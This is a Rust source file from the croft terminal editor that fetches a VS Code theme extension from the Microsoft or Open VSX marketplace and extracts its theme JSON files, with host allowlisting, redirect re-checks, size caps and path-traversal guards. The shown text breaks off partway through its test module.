croft-software 0.2.132

VSCode-style TUI written in Rust
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
//! Fetching a VS Code theme from the marketplace (#350).
//!
//! The converter next door reads a theme JSON the user already has. This is
//! the other half the issue asks for: given a marketplace URL or a
//! `publisher.name` id, download the `.vsix`, take the theme JSON out of it,
//! and hand that to the converter.
//!
//! # What this does NOT do
//!
//! **No extension code is fetched to be run, and none is kept.** A `.vsix`
//! is a zip that may contain JavaScript, native binaries and a manifest
//! telling an editor to execute them. croft extracts exactly one member —
//! a theme JSON named by the extension's own `contributes.themes` — into a
//! temporary directory, converts it, and discards the archive. Nothing is
//! installed into an extensions directory, nothing is executed, and no
//! `package.json` field other than the theme list is read.
//!
//! That is the whole trust argument, and it is why this is a narrow path
//! rather than an extension installer: the archive is treated as a hostile
//! container from which one known-shaped file is lifted.

use std::path::{Path, PathBuf};
use std::time::Duration;

use anyhow::{Context, Result, bail};

/// How long the download may take before it is abandoned.
pub const FETCH_TIMEOUT: Duration = Duration::from_secs(60);

/// Largest `.vsix` worth downloading. Theme extensions are tens of
/// kilobytes; sixty-four megabytes means the URL is not what it claimed.
pub const MAX_VSIX_BYTES: u64 = 64 * 1024 * 1024;

/// Largest member this will read into memory as text.
///
/// The shared archive reader's own `MEMBER_CAP` is 100 MB, which is right
/// for a user opening an archive they chose to look at and far too generous
/// for a file downloaded from the internet and parsed as JSON. The two files
/// read here are a `package.json` and a theme — the largest theme on the
/// marketplace is a few hundred kilobytes — so a member past this is not a
/// theme, whatever it claims, and it would otherwise be read into a `String`
/// entire before anything looked at it.
///
/// Smaller than `MAX_VSIX_BYTES` deliberately: a member cap above the cap on
/// the whole archive could never bind, and the point of this one is that it
/// binds well before the archive limit does.
pub const MAX_MEMBER_BYTES: u64 = 8 * 1024 * 1024;

/// Which gallery an extension came from.
///
/// Carried on the id rather than assumed, because the two galleries do not
/// hold the same extensions. The themes bundled with VS Code itself —
/// `vscode.theme-monokai`, `vscode.theme-solarized-light` and their
/// siblings, the ones a user is most likely to reach for — are on Open VSX
/// and answer **404** on the Microsoft gallery. Accepting an `open-vsx.org`
/// URL and then downloading from Microsoft, as this first did, turns those
/// into a download failure whose message names a URL the user never typed.
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub enum Gallery {
    /// `marketplace.visualstudio.com`, the Microsoft gallery.
    VisualStudio,
    /// `open-vsx.org`, the Eclipse Foundation's open registry.
    OpenVsx,
}

/// A marketplace extension's identity: `publisher.name` plus the gallery
/// that holds it.
#[derive(Clone, Debug, PartialEq, Eq)]
pub struct ExtensionId {
    pub publisher: String,
    pub name: String,
    pub gallery: Gallery,
}

impl ExtensionId {
    /// The gallery's direct download URL for the latest version, or `None`
    /// for a gallery that needs a version lookup first.
    ///
    /// Note what this does NOT do: it never echoes the input. The URL is
    /// rebuilt from `publisher` and `name`, both of which have passed
    /// `split_id`'s `[A-Za-z0-9_-]` filter, so nothing attacker-shaped can
    /// reach the fetch even if host parsing were looser than it is.
    pub fn vsix_url(&self) -> Option<String> {
        match self.gallery {
            Gallery::VisualStudio => Some(format!(
                "https://marketplace.visualstudio.com/_apis/public/gallery/publishers/{}/vsextensions/{}/latest/vspackage",
                self.publisher, self.name
            )),
            // Open VSX serves each version at its own path, so the download
            // URL is not derivable from the id alone.
            Gallery::OpenVsx => None,
        }
    }

    /// Open VSX's metadata endpoint, which names the download URL.
    pub fn metadata_url(&self) -> String {
        format!(
            "https://open-vsx.org/api/{}/{}/latest",
            self.publisher, self.name
        )
    }
}

/// Parse `publisher.name`, a marketplace item URL, or an
/// `vscode:extension/publisher.name` link into an id.
///
/// Deliberately strict about the host. A URL that merely *looks* like a
/// marketplace link but points elsewhere would otherwise make this a
/// general-purpose downloader pointed at an archive extractor, which is a
/// much larger thing to trust than "fetch a theme from the marketplace".
pub fn parse_ref(input: &str) -> Result<ExtensionId> {
    let raw = input.trim();
    if raw.is_empty() {
        bail!("empty extension reference");
    }
    // `vscode:extension/publisher.name`
    let (candidate, gallery) = if let Some(rest) = raw.strip_prefix("vscode:extension/") {
        (rest.to_string(), Gallery::VisualStudio)
    } else if raw.starts_with("http://") || raw.starts_with("https://") {
        item_name_from_url(raw)?
    } else {
        // A bare id names no gallery; the Microsoft one is the default.
        (raw.to_string(), Gallery::VisualStudio)
    };
    split_id(&candidate, gallery)
}

/// The `publisher.name` a marketplace URL names, and which gallery it is.
fn item_name_from_url(url: &str) -> Result<(String, Gallery)> {
    let rest = url
        .strip_prefix("https://")
        .or_else(|| url.strip_prefix("http://"))
        .unwrap_or(url);
    let (host, tail) = rest.split_once('/').unwrap_or((rest, ""));
    // Host allowlist, exact match: `marketplace.visualstudio.com` and the
    // Open VSX mirror are the two galleries this understands.
    let host = host.split_once('@').map(|(_, h)| h).unwrap_or(host);
    let host = host.split(':').next().unwrap_or(host);
    // Hostnames are case-insensitive, and both galleries are written with
    // capitals in their own docs, so matching the raw bytes would refuse a
    // URL the user pasted from the site itself.
    let host = host.to_ascii_lowercase();
    let gallery = match host.as_str() {
        "marketplace.visualstudio.com" => Gallery::VisualStudio,
        "open-vsx.org" => Gallery::OpenVsx,
        _ => bail!(
            "not a marketplace URL: {host} (expected marketplace.visualstudio.com or open-vsx.org)"
        ),
    };
    if let Some(q) = tail.split_once('?').map(|(_, q)| q) {
        for pair in q.split('&') {
            if let Some(v) = pair.strip_prefix("itemName=") {
                return Ok((v.to_string(), gallery));
            }
        }
    }
    // Open VSX uses a path shape: /extension/publisher/name. Both halves
    // are cut at the same delimiters — an asymmetry here would leave the
    // publisher carrying a `?` that only `split_id` then rejected.
    if let Some(rest) = tail.strip_prefix("extension/")
        && let Some((pubr, name)) = rest.split_once('/')
    {
        let cut = |s: &str| s.split(['/', '?', '#']).next().unwrap_or(s).to_string();
        return Ok((format!("{}.{}", cut(pubr), cut(name)), gallery));
    }
    bail!("marketplace URL carries no itemName= parameter");
}

fn split_id(candidate: &str, gallery: Gallery) -> Result<ExtensionId> {
    let candidate = candidate.split(['?', '#']).next().unwrap_or(candidate);
    let Some((publisher, name)) = candidate.split_once('.') else {
        bail!("expected publisher.name, got {candidate:?}");
    };
    let ok = |s: &str| {
        !s.is_empty()
            && s.chars()
                .all(|c| c.is_ascii_alphanumeric() || c == '-' || c == '_')
    };
    if !ok(publisher) || !ok(name) {
        bail!("expected publisher.name in [A-Za-z0-9_-], got {candidate:?}");
    }
    Ok(ExtensionId {
        publisher: publisher.to_string(),
        name: name.to_string(),
        gallery,
    })
}

/// A scratch directory that removes itself.
///
/// The import has many failure points after the directory exists — the
/// download, the gzip sniff, two member reads, the manifest parse, the theme
/// choice, the include walk — and every early return from any of them used
/// to leave the `.vsix` and everything unpacked from it behind in the temp
/// directory. Ownership belongs to a value whose `Drop` runs on the error
/// path as readily as the success one, rather than to a line at the bottom
/// of a function that an error never reaches.
pub struct Scratch {
    path: PathBuf,
}

impl Scratch {
    /// Create a fresh scratch directory, owner-only where the platform can
    /// express that.
    ///
    /// `create_dir` (not `create_dir_all`) so an existing path is an error
    /// rather than something to adopt or delete, and mode `0o700` so the
    /// inherited umask cannot leave it group- or world-writable: the writes
    /// into it follow symlinks, so a permissive umask would let a local user
    /// plant one between the create and the write.
    pub fn new(path: PathBuf) -> Result<Self> {
        #[cfg(unix)]
        {
            use std::os::unix::fs::DirBuilderExt;
            std::fs::DirBuilder::new()
                .mode(0o700)
                .create(&path)
                .with_context(|| format!("making {}", path.display()))?;
        }
        #[cfg(not(unix))]
        std::fs::create_dir(&path).with_context(|| format!("making {}", path.display()))?;
        Ok(Self { path })
    }

    /// The directory itself.
    pub fn path(&self) -> &Path {
        &self.path
    }
}

impl Drop for Scratch {
    fn drop(&mut self) {
        // Nothing useful to do with a failure here, and it must not mask the
        // error that is usually already on its way out.
        let _ = std::fs::remove_dir_all(&self.path);
    }
}

/// A theme label reduced to a safe file stem.
///
/// The label is free-form text from inside the archive — the one field on
/// `ContributedTheme` that no charset rule has touched, unlike the publisher
/// and name, which `split_id` restricts. Building a path out of one is a
/// write-anywhere primitive: `"../../x"` climbs out of the scratch directory,
/// and `Path::join` with an ABSOLUTE label discards the base entirely, so the
/// write lands exactly where the label says.
///
/// No caller here needs it any more: `extract_theme_chain` writes every
/// member at its own archive-relative path, so the label never reaches the
/// filesystem at all and the hazard is gone by construction rather than by
/// sanitising. It stays, with its tests, because the property is the kind
/// that gets rediscovered the hard way — the next caller to name a file after
/// a theme should find this instead of writing it again.
///
/// Same class as `split_id`'s: keep `[A-Za-z0-9_-]`, and let everything else
/// become a separator.
#[allow(dead_code)]
pub fn file_stem(label: &str) -> String {
    let mapped: String = label
        .chars()
        .map(|c| {
            if c.is_ascii_alphanumeric() || c == '-' || c == '_' {
                c
            } else {
                '-'
            }
        })
        .collect();
    let trimmed = mapped.trim_matches('-');
    if trimmed.is_empty() {
        return String::from("theme");
    }
    // Nothing bounds a label's length, and the stem becomes a real filename:
    // past ~255 bytes the write fails with ENAMETOOLONG. That fails closed
    // rather than dangerously, but it fails on the theme's NAME, which is a
    // baffling place for an import to stop. 64 is far more than any real
    // theme name needs. Trimmed again because the cut can land on a `-`.
    let capped: String = trimmed.chars().take(64).collect();
    let capped = capped.trim_matches('-');
    // The cut can leave nothing but separators behind, which would put the
    // empty name back that the guard above just ruled out.
    if capped.is_empty() {
        String::from("theme")
    } else {
        capped.to_string()
    }
}

/// Resolve VS Code's `%key%` localisation placeholders against an NLS
/// bundle.
///
/// Manifests may write a label as `%themeLabel%` and keep the real text in
/// `package.nls.json`; VS Code substitutes it before displaying anything.
/// Without this, the themes VS Code itself bundles import under the literal
/// label `%themeLabel%` and derive an id of `themelabel` — which is not a
/// theme name any user typed or would recognise.
///
/// An unresolvable key is left exactly as it is rather than blanked: showing
/// `%themeLabel%` is confusing, but showing nothing is worse.
fn resolve_nls(value: &str, nls: Option<&serde_json::Value>) -> String {
    let Some(key) = value.strip_prefix('%').and_then(|v| v.strip_suffix('%')) else {
        return value.to_string();
    };
    nls.and_then(|n| n.get(key))
        .and_then(|v| v.as_str())
        .unwrap_or(value)
        .to_string()
}

/// One theme a `.vsix` contributes, as its `package.json` declares it.
#[derive(Clone, Debug, PartialEq, Eq)]
pub struct ContributedTheme {
    /// The label a user would recognise ("One Dark Pro").
    pub label: String,
    /// Archive-relative path to the theme JSON.
    pub path: String,
}

/// The themes a `package.json` contributes, in declaration order.
///
/// Only `contributes.themes` is read. Every other field — `main`,
/// `activationEvents`, `scripts` — is ignored by construction, because the
/// archive is never installed and nothing in it is executed.
pub fn contributed_themes(
    package_json: &str,
    nls_json: Option<&str>,
) -> Result<Vec<ContributedTheme>> {
    let v: serde_json::Value =
        serde_json::from_str(package_json).context("package.json is not valid JSON")?;
    let Some(list) = v.pointer("/contributes/themes").and_then(|t| t.as_array()) else {
        bail!("this extension contributes no themes");
    };
    // A malformed bundle is not worth failing the import over: the labels
    // simply stay unresolved, which is what happens without one anyway.
    let nls: Option<serde_json::Value> = nls_json.and_then(|text| serde_json::from_str(text).ok());
    let mut out = Vec::new();
    for t in list {
        let Some(path) = t.get("path").and_then(|p| p.as_str()) else {
            continue;
        };
        let label = t
            .get("label")
            .and_then(|l| l.as_str())
            .or_else(|| t.get("id").and_then(|l| l.as_str()))
            .unwrap_or(path);
        out.push(ContributedTheme {
            // `./themes/x.json` is how most manifests spell it; the archive
            // member has no leading `./`.
            path: path.trim_start_matches("./").to_string(),
            label: resolve_nls(label, nls.as_ref()),
        });
    }
    if out.is_empty() {
        bail!("this extension contributes no themes");
    }
    Ok(out)
}

/// Pick the theme to convert: the one whose label matches `wanted`
/// case-insensitively, or the only one, or an error listing the choices.
///
/// An extension contributing several themes (Catppuccin ships four) must
/// not silently convert whichever happens to be first — the user would get
/// a theme they did not ask for and no indication why.
pub fn pick_theme<'a>(
    themes: &'a [ContributedTheme],
    wanted: Option<&str>,
) -> Result<&'a ContributedTheme> {
    if let Some(w) = wanted {
        return themes
            .iter()
            .find(|t| t.label.eq_ignore_ascii_case(w))
            .with_context(|| {
                let names: Vec<&str> = themes.iter().map(|t| t.label.as_str()).collect();
                format!(
                    "no theme called {w:?}; this extension has: {}",
                    names.join(", ")
                )
            });
    }
    match themes {
        [only] => Ok(only),
        many => {
            let names: Vec<&str> = many.iter().map(|t| t.label.as_str()).collect();
            bail!(
                "this extension contributes {} themes; pass --theme with one of: {}",
                many.len(),
                names.join(", ")
            )
        }
    }
}

/// Download the `.vsix` for `id` into `dir`, returning the file's path.
pub fn download_vsix(id: &ExtensionId, dir: &Path) -> Result<PathBuf> {
    use std::io::Read;
    let url = match id.vsix_url() {
        Some(url) => url,
        None => resolve_open_vsx_download(id)?,
    };
    let resp = get_checked(&url).with_context(|| format!("downloading {url}"))?;
    let dest = dir.join(format!("{}.{}.vsix", id.publisher, id.name));
    let mut bytes = Vec::new();
    resp.into_reader()
        .take(MAX_VSIX_BYTES + 1)
        .read_to_end(&mut bytes)
        .context("reading the .vsix body")?;
    if bytes.len() as u64 > MAX_VSIX_BYTES {
        bail!(
            "refusing a .vsix larger than {} bytes — that is not a theme",
            MAX_VSIX_BYTES
        );
    }
    let bytes = gunzip_if_needed(bytes)?;
    std::fs::write(&dest, &bytes).with_context(|| format!("writing {}", dest.display()))?;
    Ok(dest)
}

/// Hosts this module will fetch from.
///
/// The download hosts are NOT the same set as the two galleries a reference
/// may name: Open VSX answers its download URL with a 302 to its CDN
/// (`openvsx.eclipsecontent.org`), so refusing every redirect refuses every
/// Open VSX theme. Following redirects blindly is the other error — ureq
/// re-applies no host policy across a hop, so one open redirect at a gallery
/// would carry the fetch anywhere. Hence: follow hops by hand, and check each
/// one against this list.
const FETCH_HOSTS: [&str; 4] = [
    "marketplace.visualstudio.com",
    // The Microsoft gallery's own asset host, should it ever start using it.
    "gallery.vsassets.io",
    "open-vsx.org",
    // Open VSX's CDN, which its download URLs redirect to.
    "openvsx.eclipsecontent.org",
];

/// The host of an `https://` URL, lowercased.
fn host_of(url: &str) -> Option<String> {
    let rest = url.strip_prefix("https://")?;
    let host = rest.split('/').next()?;
    let host = host.split_once('@').map(|(_, h)| h).unwrap_or(host);
    let host = host.split(':').next().unwrap_or(host);
    (!host.is_empty()).then(|| host.to_ascii_lowercase())
}

/// Refuse a URL that is not on an allowed host, naming the host so the
/// failure is legible rather than a bare connection error.
fn check_host(url: &str) -> Result<()> {
    let Some(host) = host_of(url) else {
        bail!("not an https URL: {url}");
    };
    if !FETCH_HOSTS.contains(&host.as_str()) {
        bail!("refusing to fetch from {host} — not a marketplace host");
    }
    Ok(())
}

/// How many `include` hops a theme may take inside the archive.
///
/// Matches the converter's own `MAX_INCLUDE_DEPTH`: this walk exists to put
/// the files where the converter will look for them, so refusing a chain it
/// would accept — or accepting one it would refuse — is the wrong shape.
const MAX_CHAIN: usize = 8;

/// Extract the chosen theme AND every file its `include` chain names
/// (plus any `tokenColors` file each theme names), keeping each at its own archive-relative path. Returns the path of the
/// theme itself.
///
/// The naive version wrote the one member out under a flat name at the
/// scratch root, which silently broke every theme that extends another. That
/// is not a rare shape: of the eight themes VS Code itself ships, four use
/// `include`, and `dark_modern` → `dark_plus` → `dark_vs` is two hops deep.
/// The converter resolves an include RELATIVE TO THE INCLUDING FILE, so the
/// layout is load-bearing and flattening it destroys exactly the information
/// the resolution needs.
///
/// Traversal is refused here as well as in the converter. The converter's
/// check is what protects a theme the user already has; this one protects
/// the extraction itself, which runs first and writes files.
pub fn extract_theme_chain(vsix: &Path, theme_path: &str, scratch: &Path) -> Result<PathBuf> {
    let mut pending = vec![theme_path.trim_start_matches("./").to_string()];
    let mut seen: Vec<String> = Vec::new();
    let mut entry: Option<PathBuf> = None;
    while let Some(rel) = pending.pop() {
        // A cycle would otherwise spin until the depth cap; naming it is a
        // better error than "chain too deep".
        if seen.contains(&rel) {
            continue;
        }
        if seen.len() >= MAX_CHAIN {
            bail!("include chain longer than {MAX_CHAIN} files (a cycle?)");
        }
        let (text, dest) = extract_member_at(vsix, &rel, scratch)?;
        if entry.is_none() {
            entry = Some(dest);
        }
        seen.push(rel.clone());
        let (include, token_colors) = referenced_files(&text);
        // A string `tokenColors` names a file the converter reads beside the
        // theme (#1177), so it has to arrive too. It is a leaf: its own
        // contents name no further files.
        if let Some(file) = token_colors {
            extract_member_at(vsix, &sibling_of(&rel, &file), scratch)?;
        }
        if let Some(inc) = include {
            pending.push(sibling_of(&rel, &inc));
        }
    }
    entry.ok_or_else(|| anyhow::anyhow!("no theme file extracted"))
}

/// Extract the archive member at `rel` (relative to `extension/`) to the
/// same relative path under `scratch`, returning its text and where it went.
fn extract_member_at(vsix: &Path, rel: &str, scratch: &Path) -> Result<(String, PathBuf)> {
    let text = read_member(vsix, &format!("extension/{rel}"), scratch)
        .with_context(|| format!("reading the theme member {rel}"))?;
    let dest = contained_scratch_path(scratch, rel)?;
    if let Some(parent) = dest.parent() {
        std::fs::create_dir_all(parent).with_context(|| format!("making {}", parent.display()))?;
    }
    std::fs::write(&dest, &text).with_context(|| format!("writing {}", dest.display()))?;
    Ok((text, dest))
}

/// `name`, as the theme at `rel` names it, resolved against that theme's
/// directory, exactly as the converter will resolve it.
fn sibling_of(rel: &str, name: &str) -> String {
    let base = Path::new(rel).parent().unwrap_or(Path::new(""));
    let joined = base.join(name.trim_start_matches("./"));
    joined.to_string_lossy().replace('\\', "/")
}

/// The `include` field of a theme document and its `tokenColors` field when
/// that is a file path rather than an inline array.
///
/// Comments and trailing commas are stripped first, through the same
/// `strip_jsonc` the converter uses: a theme carrying them is ordinary, and a
/// stricter parse here would skip files the converter then goes on to read
/// successfully.
fn referenced_files(text: &str) -> (Option<String>, Option<String>) {
    let stripped = crate::jsonc::strip_jsonc(text);
    let Ok(v) = serde_json::from_str::<serde_json::Value>(&stripped) else {
        return (None, None);
    };
    let field = |k: &str| v.get(k).and_then(|x| x.as_str()).map(str::to_string);
    (field("include"), field("tokenColors"))
}

/// Join `rel` under `scratch`, refusing anything that would land outside it.
///
/// The path comes from inside the archive, so it gets the same treatment as
/// any other attacker-supplied path: no absolute paths, no `..`, no escaping
/// the directory this import owns.
fn contained_scratch_path(scratch: &Path, rel: &str) -> Result<PathBuf> {
    let candidate = Path::new(rel);
    if candidate.is_absolute() {
        bail!("theme path {rel} is absolute");
    }
    let mut out = scratch.to_path_buf();
    for comp in candidate.components() {
        match comp {
            std::path::Component::Normal(c) => out.push(c),
            std::path::Component::CurDir => {}
            _ => bail!("theme path {rel} escapes the import directory"),
        }
    }
    if !out.starts_with(scratch) {
        bail!("theme path {rel} escapes the import directory");
    }
    Ok(out)
}

/// The agent every request here goes through: one timeout, and redirects
/// handled by the caller rather than by ureq.
fn agent(url: &str) -> ureq::Agent {
    crate::net::builder(url)
        .timeout(FETCH_TIMEOUT)
        .redirects(0)
        .build()
}

/// How many hops a fetch may take before it is treated as a loop.
const MAX_HOPS: usize = 4;

/// GET `url`, following redirects ONE AT A TIME and re-checking the host at
/// every hop.
///
/// This is the module's trust boundary in its load-bearing form. The
/// allowlist on user input decides where a fetch may START; without this it
/// would say nothing about where the bytes finally come from, and a single
/// open redirect at either gallery would make the check decorative.
fn get_checked(url: &str) -> Result<ureq::Response> {
    let mut url = url.to_string();
    for _ in 0..MAX_HOPS {
        check_host(&url)?;
        let resp = agent(&url)
            .get(&url)
            .call()
            .with_context(|| format!("fetching {url}"))?;
        if !(300..400).contains(&resp.status()) {
            return Ok(resp);
        }
        let Some(next) = resp.header("location") else {
            bail!("{url} answered {} with no location", resp.status());
        };
        // A relative location keeps the current host; an absolute one is
        // re-checked at the top of the next turn.
        url = match next.starts_with("https://") {
            true => next.to_string(),
            false => match host_of(&url) {
                Some(h) => format!("https://{h}{next}"),
                None => bail!("cannot resolve {next} against {url}"),
            },
        };
    }
    bail!("too many redirects fetching {url}")
}

/// Ask Open VSX where the latest `.vsix` lives.
///
/// Open VSX serves each version at its own path, so unlike the Microsoft
/// gallery there is no "latest" download URL to build from the id alone.
/// The answer names a URL, which means a URL from the network reaches the
/// fetch — so it is checked against the SAME host allowlist as user input
/// before it is used. A registry that started answering with a link
/// elsewhere would otherwise walk the download straight off the boundary
/// `parse_ref` exists to draw.
fn resolve_open_vsx_download(id: &ExtensionId) -> Result<String> {
    use std::io::Read;
    let meta_url = id.metadata_url();
    let resp = get_checked(&meta_url).with_context(|| format!("looking up {meta_url}"))?;
    let mut body = String::new();
    resp.into_reader()
        .take(MAX_MEMBER_BYTES + 1)
        .read_to_string(&mut body)
        .context("reading the Open VSX metadata")?;
    let doc: serde_json::Value =
        serde_json::from_str(&body).context("parsing the Open VSX metadata")?;
    let Some(url) = doc
        .get("files")
        .and_then(|f| f.get("download"))
        .and_then(|d| d.as_str())
    else {
        bail!(
            "Open VSX names no download for {}.{}",
            id.publisher,
            id.name
        );
    };
    // The URL came off the network, so it gets the same check as user input.
    check_host(url).with_context(|| format!("Open VSX named a download at {url}"))?;
    Ok(url.to_string())
}

/// The gallery serves the `.vsix` gzipped, and answers with the compressed
/// bytes unless the client negotiates otherwise — so what arrives is a
/// gzip stream wrapping a zip, and handing it straight to the zip reader
/// fails with "Could not find EOCD". Sniff the magic rather than trusting
/// a header: this is the one place the archive's shape is knowable for
/// certain, and a mislabelled response should still work.
fn gunzip_if_needed(bytes: Vec<u8>) -> Result<Vec<u8>> {
    use std::io::Read;
    if !bytes.starts_with(&[0x1f, 0x8b]) {
        return Ok(bytes);
    }
    let mut out = Vec::new();
    flate2::read::GzDecoder::new(&bytes[..])
        .take(MAX_VSIX_BYTES + 1)
        .read_to_end(&mut out)
        .context("decompressing the gzipped .vsix")?;
    if out.len() as u64 > MAX_VSIX_BYTES {
        bail!(
            "refusing a .vsix that decompresses past {} bytes",
            MAX_VSIX_BYTES
        );
    }
    Ok(out)
}

/// Read one member of the `.vsix` as text, through the shared archive
/// reader so the traversal guard and the size cap apply.
pub fn read_member(vsix: &Path, member: &str, scratch: &Path) -> Result<String> {
    let extracted =
        crate::archive::extract_member(vsix, crate::archive::ArchiveKind::Zip, member, scratch)
            .with_context(|| format!("extracting {member}"))?;
    // Check the size on disk BEFORE reading: `read_to_string` on a member
    // the shared cap allowed (100 MB) would allocate all of it first.
    let len = std::fs::metadata(&extracted)
        .with_context(|| format!("sizing {member}"))?
        .len();
    if len > MAX_MEMBER_BYTES {
        bail!("{member} is {len} bytes — that is not a theme file");
    }
    std::fs::read_to_string(&extracted).with_context(|| format!("reading {member}"))
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn every_reference_shape_resolves_to_the_same_id() {
        let ms = ExtensionId {
            publisher: "zhuangtongfa".into(),
            name: "material-theme".into(),
            gallery: Gallery::VisualStudio,
        };
        for input in [
            "zhuangtongfa.material-theme",
            "vscode:extension/zhuangtongfa.material-theme",
            "https://marketplace.visualstudio.com/items?itemName=zhuangtongfa.material-theme",
            "https://marketplace.visualstudio.com/items?ssr=false&itemName=zhuangtongfa.material-theme",
            "  zhuangtongfa.material-theme  ",
            // Hostnames are case-insensitive; the site itself writes capitals.
            "https://Marketplace.VisualStudio.com/items?itemName=zhuangtongfa.material-theme",
        ] {
            assert_eq!(parse_ref(input).unwrap(), ms, "for {input}");
        }
        assert_eq!(
            ms.vsix_url().unwrap(),
            "https://marketplace.visualstudio.com/_apis/public/gallery/publishers/zhuangtongfa/vsextensions/material-theme/latest/vspackage"
        );
    }

    /// An Open VSX reference must not be downloaded from Microsoft.
    ///
    /// The two galleries hold different extensions — the themes bundled with
    /// VS Code are on Open VSX and 404 on the Microsoft gallery — so routing
    /// one to the other is a download failure naming a URL the user never
    /// typed. This is a regression pin: the id alone used to be the whole
    /// answer, which made the two references indistinguishable.
    #[test]
    fn an_open_vsx_reference_keeps_its_gallery() {
        let id = parse_ref("https://open-vsx.org/extension/vscode/theme-monokai").unwrap();
        assert_eq!(id.publisher, "vscode");
        assert_eq!(id.name, "theme-monokai");
        assert_eq!(id.gallery, Gallery::OpenVsx);
        // No derivable download URL, so nothing can point at the wrong host.
        assert!(id.vsix_url().is_none());
        assert!(id.metadata_url().starts_with("https://open-vsx.org/api/"));

        // The same id from the Microsoft gallery keeps ITS gallery.
        let ms = parse_ref("vscode.theme-monokai").unwrap();
        assert_eq!(ms.gallery, Gallery::VisualStudio);
        assert!(
            ms.vsix_url()
                .unwrap()
                .contains("marketplace.visualstudio.com")
        );
        assert_ne!(id, ms);
    }

    /// The theme LABEL is free text from inside a hostile archive, and it
    /// used to name the file the theme was written to. `Path::join` with an
    /// absolute label discards the base entirely, so the write landed
    /// exactly where the label said — walking straight past the archive
    /// guard that had just done its job correctly.
    #[test]
